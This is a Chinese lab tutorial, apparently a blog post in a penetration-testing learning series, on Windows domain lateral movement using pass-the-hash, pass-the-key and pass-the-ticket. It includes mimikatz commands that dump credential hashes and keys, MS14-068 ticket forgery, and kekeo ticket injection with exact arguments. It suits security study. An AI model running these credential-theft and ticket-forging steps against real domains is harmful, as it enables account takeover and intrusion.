草庐IT

内网渗透学习(五)域横向移动——PTH&PTK&PTT

知安库 2023-03-28 原文

环境准备:

2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :
god\webadmin:admin!@#45

2003 x86 fileserver
域内文件服务器
本地管理员账号密码 :
administrator : admin
当前机器域用户密码 :
god\fileadmin : Admin12345

2008 r2 x64 dc god.org
主域控机器
域管账号密码:
God\administrator : Admin12345

2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45
当前机器域用户密码 :
god\dbadmin:admin!@#45

w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :
god\mary : admin!@#45

w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 :
.\jack : admin
当前机器域用户密码 :
god\boss : Admin12345


一、PTH


1.介绍

什么是 PTH 攻击?

pass the hash(hash传递攻击,简称 PTH),在一个计算机域中,为了方便管理,登录计算机时大多使用的域账号,若攻击者获得了其中一台主机的 LM 或 NTLM HASH 值,就可以通过哈希传递的方法登录内网中其它的计算机,从而实现内网横向移动。

PTH 攻击的优点:在目标主机中我们通常很难获取到明文密码,而使用 hash,无需明文密码即可正常登录。

PTH 攻击利用条件

  • 被 pth 攻击的计算机未打补丁(KB2871997)
  • 拿到一台域成员主机并且拿到管理员组的域用户的 NTML
  • 对方主机存在相同账号并且是管理员组成员

2.演示

可使用 mimikatz 输入如下命令获取 LM 和 NTLM

sekurlsa::logonpasswords

使用已获得的 NTLM 值尝试连接

sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM 值

在弹出的 cmd 窗口输入命令查看已连接上的主机文件

二、PTK


1.介绍

什么是 PTK 攻击?

pass the key (密钥传递攻击,简称 PTK)是在域中攻击 kerberos 认证的一种方式,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。

KB2871997 补丁和 PTK

KB2871997补丁的特点:安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存不保存明文的密码。

KB2871997 补丁发布后常规的 Pass The Hash已经无法成功(除了 SID 500 账号例外),但是还可以通过AES密钥来替代NTLM验证进行横向的操作。

KB22871997是否真的能防御PTH攻击?https://www.freebuf.com/column/220740.html

2.演示

可使用 mimikatz 输入如下命令获取 aes256

sekurlsa::ekeys

使用已获得的 aes256 值尝试连接

sekurlsa::pth /user:用户名 /domain:域名 /aes256:aes256 值

三、PTT


1.介绍

什么是 PTT 攻击?

Pass-the-Ticket 攻击是一类利用后攻击,涉及盗窃和重复使用 Kerberos 票证,以在受感染的环境中对系统进行身份验证。在 Pass-the-Ticket 攻击中,攻击者从一台计算机上窃取 Kerberos 票证,并重新使用它来访问受感染环境中的另一台计算机。

PTT 与 PTH 的区别

Pass-the-hash 和 pass-the-ticket 之间的一个主要区别是 Kerberos TGT ticket 会过期(默认为10小时),而 NTLM hashes 只有在用户改变密码时才会改变。因此,TGT 票必须在其有效期内使用,或者可以续期更长的时间(7天)。

2.演示

(1)MS14-068

MS14-068 是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其 Kerberos 票证(TGT)中插入任意的 PAC(表示所有用户权限的结构)。该漏洞位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了 PAC 的 Kerberos TGT 来获得票证,进而伪造票据获得管理员权限。

MS14-068 利用工具下载地址:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

利用流程

查看当前 sid

whoami/user

清空当前机器中所有凭证(如果有域成员凭证会影响凭证伪造)

mimikatz # kerberos::purge

利用 ms14-068 生成 TGT 数据

ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

票据注入内存

kerberos::ptc TGT_mary@god.org.ccache

查看凭证列表

klist

漏洞利用成功

dir \\192.168.3.21\c$

(2)利用工具 kekeo

kekeo 是 gentilkiwi 开源的一个工具,我们也可以用它来实现票据传递。

下载地址:https://github.com/gentilkiwi/kekeo/releases

利用流程

生成票据

tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7

导入票据

kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

利用 net use 载入

dir \\192.168.3.21\c$

有关内网渗透学习(五)域横向移动——PTH&PTK&PTT的更多相关文章

  1. ruby-on-rails - rails : "missing partial" when calling 'render' in RSpec test - 2

    我正在尝试测试是否存在表单。我是Rails新手。我的new.html.erb_spec.rb文件的内容是:require'spec_helper'describe"messages/new.html.erb"doit"shouldrendertheform"dorender'/messages/new.html.erb'reponse.shouldhave_form_putting_to(@message)with_submit_buttonendendView本身,new.html.erb,有代码:当我运行rspec时,它失败了:1)messages/new.html.erbshou

  2. ruby-on-rails - 由于 "wkhtmltopdf",PDFKIT 显然无法正常工作 - 2

    我在从html页面生成PDF时遇到问题。我正在使用PDFkit。在安装它的过程中,我注意到我需要wkhtmltopdf。所以我也安装了它。我做了PDFkit的文档所说的一切......现在我在尝试加载PDF时遇到了这个错误。这里是错误:commandfailed:"/usr/local/bin/wkhtmltopdf""--margin-right""0.75in""--page-size""Letter""--margin-top""0.75in""--margin-bottom""0.75in""--encoding""UTF-8""--margin-left""0.75in""-

  3. ruby-on-rails - 'compass watch' 是如何工作的/它是如何与 rails 一起使用的 - 2

    我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t

  4. ruby - 多次弹出/移动 ruby​​ 数组 - 2

    我的代码目前看起来像这样numbers=[1,2,3,4,5]defpop_threepop=[]3.times{pop有没有办法在一行中完成pop_three方法中的内容?我基本上想做类似numbers.slice(0,3)的事情,但要删除切片中的数组项。嗯...嗯,我想我刚刚意识到我可以试试slice! 最佳答案 是numbers.pop(3)或者numbers.shift(3)如果你想要另一边。 关于ruby-多次弹出/移动ruby​​数组,我们在StackOverflow上找到一

  5. ruby-on-rails - 如何从 format.xml 中删除 <hash></hash> - 2

    我有一个对象has_many应呈现为xml的子对象。这不是问题。我的问题是我创建了一个Hash包含此数据,就像解析器需要它一样。但是rails自动将整个文件包含在.........我需要摆脱type="array"和我该如何处理?我没有在文档中找到任何内容。 最佳答案 我遇到了同样的问题;这是我的XML:我在用这个:entries.to_xml将散列数据转换为XML,但这会将条目的数据包装到中所以我修改了:entries.to_xml(root:"Contacts")但这仍然将转换后的XML包装在“联系人”中,将我的XML代码修改为

  6. ruby - 检查 "command"的输出应该包含 NilClass 的意外崩溃 - 2

    为了将Cucumber用于命令行脚本,我按照提供的说明安装了arubagem。它在我的Gemfile中,我可以验证是否安装了正确的版本并且我已经包含了require'aruba/cucumber'在'features/env.rb'中为了确保它能正常工作,我写了以下场景:@announceScenario:Testingcucumber/arubaGivenablankslateThentheoutputfrom"ls-la"shouldcontain"drw"假设事情应该失败。它确实失败了,但失败的原因是错误的:@announceScenario:Testingcucumber/ar

  7. ruby-on-rails - Rails 3.2.1 中 ActionMailer 中的未定义方法 'default_content_type=' - 2

    我在我的项目中添加了一个系统来重置用户密码并通过电子邮件将密码发送给他,以防他忘记密码。昨天它运行良好(当我实现它时)。当我今天尝试启动服务器时,出现以下错误。=>BootingWEBrick=>Rails3.2.1applicationstartingindevelopmentonhttp://0.0.0.0:3000=>Callwith-dtodetach=>Ctrl-CtoshutdownserverExiting/Users/vinayshenoy/.rvm/gems/ruby-1.9.3-p0/gems/actionmailer-3.2.1/lib/action_mailer

  8. ruby-on-rails - 如何优雅地重启 thin + nginx? - 2

    我的瘦服务器配置了nginx,我的ROR应用程序正在它们上运行。在我发布代码更新时运行thinrestart会给我的应用程序带来一些停机时间。我试图弄清楚如何优雅地重启正在运行的Thin实例,但找不到好的解决方案。有没有人能做到这一点? 最佳答案 #Restartjustthethinserverdescribedbythatconfigsudothin-C/etc/thin/mysite.ymlrestartNginx将继续运行并代理请求。如果您将Nginx设置为使用多个上游服务器,例如server{listen80;server

  9. ruby - 在 jRuby 中使用 'fork' 生成进程的替代方案? - 2

    在MRIRuby中我可以这样做:deftransferinternal_server=self.init_serverpid=forkdointernal_server.runend#Maketheserverprocessrunindependently.Process.detach(pid)internal_client=self.init_client#Dootherstuffwithconnectingtointernal_server...internal_client.post('somedata')ensure#KillserverProcess.kill('KILL',

  10. ruby - 主要 :Object when running build from sublime 的未定义方法 `require_relative' - 2

    我已经从我的命令行中获得了一切,所以我可以运行rubymyfile并且它可以正常工作。但是当我尝试从sublime中运行它时,我得到了undefinedmethod`require_relative'formain:Object有人知道我的sublime设置中缺少什么吗?我正在使用OSX并安装了rvm。 最佳答案 或者,您可以只使用“require”,它应该可以正常工作。我认为“require_relative”仅适用于ruby​​1.9+ 关于ruby-主要:Objectwhenrun

随机推荐